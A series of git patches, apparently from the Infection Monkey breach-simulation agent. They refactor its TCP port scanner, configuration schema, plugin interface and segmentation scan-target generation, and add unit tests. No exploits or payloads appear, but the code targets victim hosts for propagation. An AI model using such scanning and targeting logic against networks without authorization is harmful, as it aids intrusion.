"tcp_scan_timeout": 3000, "tcp_scan_get_banner": true }, From c78b89d43d999cd3883b8bec33b0de66bea3b433 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 12:15:25 +0100 Subject: [PATCH 0174/1110] Agent: Remove tcp scan get banner option --- monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/example.conf | 1 - monkey/infection_monkey/network/tools.py | 7 +++---- 3 files changed, 3 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 49f2b0c71..81c6a9996 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -136,7 +136,6 @@ class Configuration(object): tcp_target_ports = [22, 2222, 445, 135, 3389, 80, 8080, 443, 8008, 3306, 9200] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds - tcp_scan_get_banner = True # Ping Scanner ping_scan_timeout = 1000 diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 322171399..6c2bc3235 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -56,7 +56,6 @@ "exploit_ntlm_hash_list": [], "exploit_ssh_keys": [], "local_network_scan": false, - "tcp_scan_get_banner": true, "tcp_scan_timeout": 10000, "tcp_target_ports": [ 22, diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 9d6878cb9..4bb9f8020 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -76,14 +76,13 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): return True, banner -def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): +def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT): """ Checks whether any of the given ports are open on a target IP. :param ip: IP of host to attack :param ports: List of ports to attack. Must not be empty. :param timeout: Amount of time to wait for connection - :param get_banner: T/F if to get first packets from server - :return: list of open ports. If get_banner=True, then a matching list of banners. + :return: List of open ports. """ sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))] [s.setblocking(False) for s in sockets] @@ -130,7 +129,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): % (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])) ) banners = [] - if get_banner and (len(connected_ports_sockets) != 0): + if len(connected_ports_sockets) != 0: readable_sockets, _, _ = select.select( [s[1] for s in connected_ports_sockets], [], [], 0 ) From 79362dd0660997c75dd2a40a427c79bf6c1e924a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 12:16:12 +0100 Subject: [PATCH 0175/1110] Island: Remove tcp scan get banner checkbox --- monkey/monkey_island/cc/services/config_schema/internal.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 7c5777476..4f40a2ee9 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -103,13 +103,6 @@ INTERNAL = { "description": "Maximum time (in milliseconds) " "to wait for TCP response", }, - "tcp_scan_get_banner": { - "title": "TCP scan - get banner", - "type": "boolean", - "default": True, - "description": "Determines whether the TCP scan should try to get the " - "banner", - }, }, }, "ping_scanner": { From 746d46c326980b2b3094b2fb9b07c3d15650e7f9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 12:17:00 +0100 Subject: [PATCH 0176/1110] UT: Remove tcp_scan_get_banner option from config --- monkey/tests/data_for_tests/monkey_configs/flat_config.json | 1 - .../data_for_tests/monkey_configs/monkey_config_standard.json | 3 +-- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index e6f70929f..977bed817 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -105,7 +105,6 @@ "ProcessListCollector", "MimikatzCollector" ], - "tcp_scan_get_banner": true, "tcp_scan_timeout": 3000, "tcp_target_ports": [ 22, diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index f64a348e5..fc9f2bb05 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -86,8 +86,7 @@ 7001, 8088 ], - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true + "tcp_scan_timeout": 3000 }, "ping_scanner": { "ping_scan_timeout": 1000 From 252bb4fcf8966b3b52b84106a88b39e1e0da6be6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 13:56:54 +0100 Subject: [PATCH 0177/1110] Island: Remove monkey tab from configuration internal --- .../ui/src/components/configuration-components/InternalConfig.js | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js index 70f1e86fa..d7d13db54 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js @@ -4,7 +4,6 @@ import {Nav} from 'react-bootstrap'; const sectionOrder = [ 'network', - 'monkey', 'island_server', 'logging', 'exploits', From 654ff38ea0ce0e95189a8eeb87f81a916a22b706 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 14:03:37 +0100 Subject: [PATCH 0178/1110] Changelog: Add entry for removing unneeded options in internal config. --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 02f2301a6..4d0c05451 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -36,6 +36,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - MITRE ATT&CK configuration screen. #1532 - Propagation credentials from "GET /api/monkey/" endpoint. #1538 - "GET /api/monkey_control/check_remote_port/" endpoint. #1635 +- Max victims to find/exploit, TCP scan interval and TCP scan get banner internal options. #1597 - MySQL fingerprinter. #1648 ### Fixed From 0bf7067cea29403d44597daa91db442dec79a16f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 15:19:59 +0100 Subject: [PATCH 0179/1110] UI: Remove monkey section from UI schema --- .../src/components/configuration-components/UiSchema.js | 8 -------- .../cc/ui/src/styles/pages/ConfigurationPage.scss | 4 ---- 2 files changed, 12 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index cd24fc040..39bb47827 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -123,14 +123,6 @@ export default function UiSchema(props) { 'ui:widget': AdvancedMultiSelect } }, - monkey: { - alive: { - classNames: 'config-field-hidden' - }, - aws_keys: { - classNames: 'config-field-hidden' - } - }, exploits: { exploit_lm_hash_list:{ items: { diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss index 18e09d37b..22f396b56 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss @@ -49,10 +49,6 @@ font-size: 1.2em; } -.config-field-hidden { - display: none; -} - .field-description { white-space: pre-wrap; } From cd8a4d4b1f560930cf2abd7e38309d55e99f088d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Dec 2021 20:18:32 +0530 Subject: [PATCH 0180/1110] Agent: Add PluginType enum --- monkey/infection_monkey/puppet/plugin_type.py | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 monkey/infection_monkey/puppet/plugin_type.py diff --git a/monkey/infection_monkey/puppet/plugin_type.py b/monkey/infection_monkey/puppet/plugin_type.py new file mode 100644 index 000000000..4e20d7360 --- /dev/null +++ b/monkey/infection_monkey/puppet/plugin_type.py @@ -0,0 +1,9 @@ +from enum import Enum + + +class PluginType(Enum): + EXPLOITER = "Exploiter" + FINGERPRINTER = "Fingerprinter" + PAYLOAD = "Payload" + POST_BREACH_ACTION = "PBA" + SYSTEM_INFO_COLLECTOR = "SystemInfoCollector" From fa2d2fdec272c65be91f7009626e2df54e6e823e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Dec 2021 20:19:29 +0530 Subject: [PATCH 0181/1110] Agent: Add load_plugin function to IPuppet --- monkey/infection_monkey/i_puppet.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index 285e32bca..6cd119ad3 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -4,12 +4,18 @@ from collections import namedtuple from enum import Enum from typing import Dict +from infection_monkey.puppet.plugin_type import PluginType + class PortStatus(Enum): OPEN = 1 CLOSED = 2 +class UnknownPluginError(Exception): + pass + + ExploiterResultData = namedtuple("ExploiterResultData", ["result", "info", "attempts"]) PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) @@ -18,6 +24,14 @@ PostBreachData = namedtuple("PostBreachData", ["command", "result"]) class IPuppet(metaclass=abc.ABCMeta): + @abc.abstractmethod + def load_plugin(self, plugin: object, plugin_type: PluginType) -> None: + """ + Loads a plugin into the puppet. + :param object plugin: The plugin object to load + :param PluginType plugin_type: The type of plugin being loaded + """ + @abc.abstractmethod def run_sys_info_collector(self, name: str) -> Dict: """ From 0e368fbfe91031f907344c2e1a1fa2407e2f04fc Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Dec 2021 20:24:29 +0530 Subject: [PATCH 0182/1110] Agent: Add load_plugin function to MockPuppet --- monkey/infection_monkey/puppet/mock_puppet.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index d5c8fa2f8..5f0389752 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -11,6 +11,7 @@ from infection_monkey.i_puppet import ( PortStatus, PostBreachData, ) +from infection_monkey.puppet.plugin_type import PluginType DOT_1 = "10.0.0.1" DOT_2 = "10.0.0.2" @@ -21,6 +22,9 @@ logger = logging.getLogger() class MockPuppet(IPuppet): + def load_plugin(self, plugin: object, plugin_type: PluginType) -> None: + logger.debug(f"load_plugin({plugin}, {plugin_type})") + def run_sys_info_collector(self, name: str) -> Dict: logger.debug(f"run_sys_info_collector({name})") # TODO: More collectors From 2329f803820834fdac20db71707e5d0ccdc627d8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 14 Dec 2021 14:58:50 +0200 Subject: [PATCH 0183/1110] Island, UT: Implement segmentation scan targets in scan target generation --- .../network/network_scanner.py | 4 + .../network/scan_target_generator.py | 42 +++++++- .../network/test_scan_target_generator.py | 101 ++++++++++++++++++ 3 files changed, 146 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index c7e39909e..cfd2cb742 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -41,6 +41,8 @@ class NetworkScanner(object): self._ranges += self._get_inaccessible_subnets_ips() logger.info("Base local networks to scan are: %r", self._ranges) + # TODO remove afret agent refactoring, + # it's already handled in network.scan_target_generator._get_inaccessible_subnets_ips def _get_inaccessible_subnets_ips(self): """ For each of the machine's IPs, checks if it's in one of the subnets specified in the @@ -113,6 +115,8 @@ class NetworkScanner(object): time.sleep(WormConfiguration.tcp_scan_interval / float(1000)) @staticmethod + # TODO remove afret agent refactoring, + # it's already handled in network.scan_target_generator._is_any_ip_in_subnet def _is_any_ip_in_subnet(ip_addresses, subnet_str): for ip_address in ip_addresses: if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address): diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index 1f4e44e86..1e0b4055e 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -1,3 +1,4 @@ +import itertools from collections import namedtuple from typing import List, Set @@ -9,7 +10,6 @@ NetworkInterface = namedtuple("NetworkInterface", ("address", "netmask")) # TODO: Validate all parameters -# TODO: Implement inaccessible_subnets def compile_scan_target_list( local_network_interfaces: List[NetworkInterface], ranges_to_scan: List[str], @@ -22,6 +22,12 @@ def compile_scan_target_list( if enable_local_network_scan: scan_targets.update(_get_ips_to_scan_from_local_interface(local_network_interfaces)) + if inaccessible_subnets: + inaccessible_subnets = _get_segmentation_check_targets( + inaccessible_subnets, local_network_interfaces + ) + scan_targets.update(inaccessible_subnets) + _remove_interface_ips(scan_targets, local_network_interfaces) _remove_blocklisted_ips(scan_targets, blocklisted_ips) @@ -62,3 +68,37 @@ def _remove_ips_from_scan_targets(scan_targets: Set[str], ips_to_remove: List[st except KeyError: # We don't need to remove the ip if it's already missing from the scan_targets pass + + +def _get_segmentation_check_targets( + inaccessible_subnets: List[str], local_interfaces: List[NetworkInterface] +): + subnets_to_scan = set() + local_ips = [interface.address for interface in local_interfaces] + + inaccessible_subnets = _convert_to_range_object(inaccessible_subnets) + subnet_pairs = itertools.product(inaccessible_subnets, inaccessible_subnets) + + for (subnet1, subnet2) in subnet_pairs: + if _is_segmentation_check_required(local_ips, subnet1, subnet2): + ips = _get_ips_from_ranges_to_scan(subnet2) + subnets_to_scan.update(ips) + + return subnets_to_scan + + +def _convert_to_range_object(subnets: List[str]) -> List[NetworkRange]: + return [NetworkRange.get_range_obj(subnet) for subnet in subnets] + + +def _is_segmentation_check_required( + local_ips: List[str], subnet1: NetworkRange, subnet2: NetworkRange +): + return _is_any_ip_in_subnet(local_ips, subnet1) and not _is_any_ip_in_subnet(local_ips, subnet2) + + +def _is_any_ip_in_subnet(ip_addresses: List[str], subnet: NetworkRange): + for ip_address in ip_addresses: + if subnet.is_in_range(ip_address): + return True + return False diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py index cf69b7a30..702298db8 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -301,3 +301,104 @@ def test_local_network_interfaces_subnet_masks(): for ip in [108, 110, 145, 146]: assert f"172.60.145.{ip}" in scan_targets + + +def test_segmentation_targets(): + local_network_interfaces = [NetworkInterface("172.60.145.109", "/24")] + + inaccessible_subnets = ["172.60.145.108/30", "172.60.145.144/30"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 3 + + for ip in [144, 145, 146]: + assert f"172.60.145.{ip}" in scan_targets + + +def test_segmentation_clash_with_blocked(): + local_network_interfaces = [ + NetworkInterface("172.60.145.109", "/30"), + ] + + inaccessible_subnets = ["172.60.145.108/30", "172.60.145.149/30"] + + blocked = ["172.60.145.148", "172.60.145.149", "172.60.145.150"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=blocked, + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 0 + + +def test_segmentation_clash_with_targets(): + local_network_interfaces = [ + NetworkInterface("172.60.145.109", "/30"), + ] + + inaccessible_subnets = ["172.60.145.108/30", "172.60.145.149/30"] + + targets = ["172.60.145.149", "172.60.145.150"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=targets, + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 3 + + for ip in [148, 149, 150]: + assert f"172.60.145.{ip}" in scan_targets + + +def test_segmentation_one_network(): + local_network_interfaces = [ + NetworkInterface("172.60.145.109", "/30"), + ] + + inaccessible_subnets = ["172.60.145.1/24"] + + targets = ["172.60.145.149/30"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=targets, + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 3 + + +def test_segmentation_inaccessible_networks(): + local_network_interfaces = [ + NetworkInterface("172.60.1.1", "/24"), + NetworkInterface("172.60.2.1", "/24"), + ] + + inaccessible_subnets = ["172.60.144.1/24", "172.60.146.1/24"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 0 From 58da5b85a077b4d4738b64f048c8abf530849e7d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 14 Dec 2021 17:08:55 +0200 Subject: [PATCH 0184/1110] Island, UT: fix target generator bug when big ip is specified first 192.168.56.2-192.168.56.1 is now a valid range, will return both of these addresses --- monkey/common/network/network_range.py | 19 ++++++++++--------- .../network/test_scan_target_generator.py | 3 ++- 2 files changed, 12 insertions(+), 10 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index e58fffcec..479f5f0d7 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -4,6 +4,7 @@ import random import socket import struct from abc import ABCMeta, abstractmethod +from typing import Tuple logger = logging.getLogger(__name__) @@ -55,15 +56,20 @@ class NetworkRange(object, metaclass=ABCMeta): @staticmethod def check_if_range(address_str): if -1 != address_str.find("-"): - ips = address_str.split("-") - ips = [ip.strip() for ip in ips] try: - ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1]) + NetworkRange._range_to_ips(address_str) except ValueError: return False return True return False + @staticmethod + def _range_to_ips(ip_range: str) -> Tuple[str, str]: + ips = ip_range.split("-") + ips = [ip.strip() for ip in ips] + ips = sorted(ips, key=lambda ip: socket.inet_aton(ip)) + return ips[0], ips[1] + @staticmethod def _ip_to_number(address): return struct.unpack(">L", socket.inet_aton(address))[0] @@ -97,12 +103,7 @@ class IpRange(NetworkRange): def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True): super(IpRange, self).__init__(shuffle=shuffle) if ip_range is not None: - addresses = ip_range.split("-") - if len(addresses) != 2: - raise ValueError( - "Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range - ) - self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] + self._lower_end_ip, self._higher_end_ip = IpRange._range_to_ips(ip_range) elif (lower_end_ip is not None) and (higher_end_ip is not None): self._lower_end_ip = lower_end_ip.strip() self._higher_end_ip = higher_end_ip.strip() diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py index 702298db8..8d3166268 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -57,7 +57,8 @@ def test_middle_of_range_subnet(): @pytest.mark.parametrize( - "ip_range", ["192.168.56.25-192.168.56.33", "192.168.56.25 - 192.168.56.33"] + "ip_range", + ["192.168.56.25-192.168.56.33", "192.168.56.25 - 192.168.56.33", "192.168.56.33-192.168.56.25"], ) def test_ip_range(ip_range): scan_targets = compile_ranges_only([ip_range]) From 59ff3d39ced4907f18d7a3a844266f9a491d69b3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 14 Dec 2021 17:23:44 +0200 Subject: [PATCH 0185/1110] UT: small readability improvement in test_scan --- .../network/test_scan_target_generator.py | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py index 8d3166268..a28ae8275 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -1,3 +1,5 @@ +from itertools import chain + import pytest from infection_monkey.network.scan_target_generator import ( @@ -191,9 +193,7 @@ def test_local_subnet_added(): assert len(scan_targets) == 254 - for ip in range(0, 5): - assert f"10.0.0.{ip} in scan_targets" - for ip in range(6, 255): + for ip in chain(range(0, 5), range(6, 255)): assert f"10.0.0.{ip} in scan_targets" @@ -213,14 +213,10 @@ def test_multiple_local_subnets_added(): assert len(scan_targets) == 2 * (255 - 1) - for ip in range(0, 5): - assert f"10.0.0.{ip} in scan_targets" - for ip in range(6, 255): + for ip in chain(range(0, 5), range(6, 255)): assert f"10.0.0.{ip} in scan_targets" - for ip in range(0, 99): - assert f"172.33.66.{ip} in scan_targets" - for ip in range(100, 255): + for ip in chain(range(0, 99), range(100, 255)): assert f"172.33.66.{ip} in scan_targets" From ffb2da02a3e15d91cb61a2c6e980c63f4153aa29 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Dec 2021 20:31:19 +0530 Subject: [PATCH 0186/1110] Agent: Create a concrete puppet class --- monkey/infection_monkey/i_puppet.py | 6 ++- monkey/infection_monkey/puppet/puppet.py | 54 ++++++++++++++++++++++++ 2 files changed, 58 insertions(+), 2 deletions(-) create mode 100644 monkey/infection_monkey/puppet/puppet.py diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index 6cd119ad3..11da6a260 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -2,7 +2,7 @@ import abc import threading from collections import namedtuple from enum import Enum -from typing import Dict +from typing import Dict, Tuple from infection_monkey.puppet.plugin_type import PluginType @@ -105,7 +105,9 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def run_payload(self, name: str, options: Dict, interrupt: threading.Event) -> None: + def run_payload( + self, name: str, options: Dict, interrupt: threading.Event + ) -> Tuple[None, bool, str]: """ Runs a payload :param str name: The name of the payload to run diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py new file mode 100644 index 000000000..f932d84a4 --- /dev/null +++ b/monkey/infection_monkey/puppet/puppet.py @@ -0,0 +1,54 @@ +import logging +import threading +from typing import Dict, Tuple + +from infection_monkey.i_puppet import ( + ExploiterResultData, + FingerprintData, + IPuppet, + PingScanData, + PortScanData, + PostBreachData, +) +from infection_monkey.puppet.plugin_type import PluginType + +logger = logging.getLogger() + + +class Puppet(IPuppet): + def load_plugin(self, plugin: object, plugin_type: PluginType) -> None: + pass + + def run_sys_info_collector(self, name: str) -> Dict: + pass + + def run_pba(self, name: str, options: Dict) -> PostBreachData: + pass + + def ping(self, host: str, timeout: float = 1) -> PingScanData: + pass + + def scan_tcp_port(self, host: str, port: int, timeout: float = 3) -> PortScanData: + pass + + def fingerprint( + self, + name: str, + host: str, + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + ) -> FingerprintData: + pass + + def exploit_host( + self, name: str, host: str, options: Dict, interrupt: threading.Event + ) -> ExploiterResultData: + pass + + def run_payload( + self, name: str, options: Dict, interrupt: threading.Event + ) -> Tuple[None, bool, str]: + pass + + def cleanup(self) -> None: + pass From 93d0bb6cd21ae324209d239f47a06a4b0e188d91 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 16:53:07 -0500 Subject: [PATCH 0187/1110] Agent: Add a placeholder VictimHostFactory The AutomatedMaster will need access to the monkey's tunnel, IP addresses, and default server in order to properly configure the victim host. The VictimHostFactory can abstract these dependencies away and handle these details on behalf of the AutomatedMaster. --- .../master/automated_master.py | 4 ++- monkey/infection_monkey/master/propagator.py | 12 ++++++-- monkey/infection_monkey/model/__init__.py | 1 + .../model/victim_host_factory.py | 28 +++++++++++++++++++ .../master/test_automated_master.py | 2 +- .../master/test_propagator.py | 3 +- 6 files changed, 44 insertions(+), 6 deletions(-) create mode 100644 monkey/infection_monkey/model/victim_host_factory.py diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 784046323..57b8f52b2 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -6,6 +6,7 @@ from typing import Any, Callable, Dict, List, Tuple from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet +from infection_monkey.model import VictimHostFactory from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -27,6 +28,7 @@ class AutomatedMaster(IMaster): self, puppet: IPuppet, telemetry_messenger: ITelemetryMessenger, + victim_host_factory: VictimHostFactory, control_channel: IControlChannel, ): self._puppet = puppet @@ -34,7 +36,7 @@ class AutomatedMaster(IMaster): self._control_channel = control_channel ip_scanner = IPScanner(self._puppet, NUM_SCAN_THREADS) - self._propagator = Propagator(self._telemetry_messenger, ip_scanner) + self._propagator = Propagator(self._telemetry_messenger, ip_scanner, victim_host_factory) self._stop = threading.Event() self._master_thread = create_daemon_thread(target=self._run_master_thread) diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 916297110..78e08a98d 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -4,7 +4,7 @@ from threading import Event, Thread from typing import Dict from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData, PortStatus -from infection_monkey.model.host import VictimHost +from infection_monkey.model import VictimHost, VictimHostFactory from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.scan_telem import ScanTelem @@ -15,9 +15,15 @@ logger = logging.getLogger() class Propagator: - def __init__(self, telemetry_messenger: ITelemetryMessenger, ip_scanner: IPScanner): + def __init__( + self, + telemetry_messenger: ITelemetryMessenger, + ip_scanner: IPScanner, + victim_host_factory: VictimHostFactory, + ): self._telemetry_messenger = telemetry_messenger self._ip_scanner = ip_scanner + self._victim_host_factory = victim_host_factory self._hosts_to_exploit = None def propagate(self, propagation_config: Dict, stop: Event): @@ -52,7 +58,7 @@ class Propagator: logger.info("Finished network scan") def _process_scan_results(self, ip: str, scan_results: IPScanResults): - victim_host = VictimHost(ip) + victim_host = self._victim_host_factory.build_victim_host(ip) Propagator._process_ping_scan_results(victim_host, scan_results.ping_scan_data) Propagator._process_tcp_scan_results(victim_host, scan_results.port_scan_data) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 7c39075be..caf9b6251 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,4 +1,5 @@ from infection_monkey.model.host import VictimHost +from infection_monkey.model.victim_host_factory import VictimHostFactory MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" diff --git a/monkey/infection_monkey/model/victim_host_factory.py b/monkey/infection_monkey/model/victim_host_factory.py new file mode 100644 index 000000000..e3ac8d5a7 --- /dev/null +++ b/monkey/infection_monkey/model/victim_host_factory.py @@ -0,0 +1,28 @@ +from infection_monkey.model import VictimHost + + +class VictimHostFactory: + def __init__(self): + pass + + def build_victim_host(self, ip: str): + victim_host = VictimHost(ip) + + # TODO: Reimplement the below logic from the old monkey.py + """ + if self._monkey_tunnel: + self._monkey_tunnel.set_tunnel_for_host(machine) + if self._default_server: + if self._network.on_island(self._default_server): + machine.set_default_server( + get_interface_to_target(machine.ip_addr) + + (":" + self._default_server_port if self._default_server_port else "") + ) + else: + machine.set_default_server(self._default_server) + logger.debug( + f"Default server for machine: {machine} set to {machine.default_server}" + ) + """ + + return victim_host diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py index 1610e752b..0584ca1cd 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -2,7 +2,7 @@ from infection_monkey.master import AutomatedMaster def test_terminate_without_start(): - m = AutomatedMaster(None, None, None) + m = AutomatedMaster(None, None, None, None) # Test that call to terminate does not raise exception m.terminate() diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index d8f65b54e..941f17a6c 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -2,6 +2,7 @@ from threading import Event from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData, PortStatus from infection_monkey.master import IPScanResults, Propagator +from infection_monkey.model import VictimHostFactory empty_fingerprint_data = FingerprintData(None, None, {}) @@ 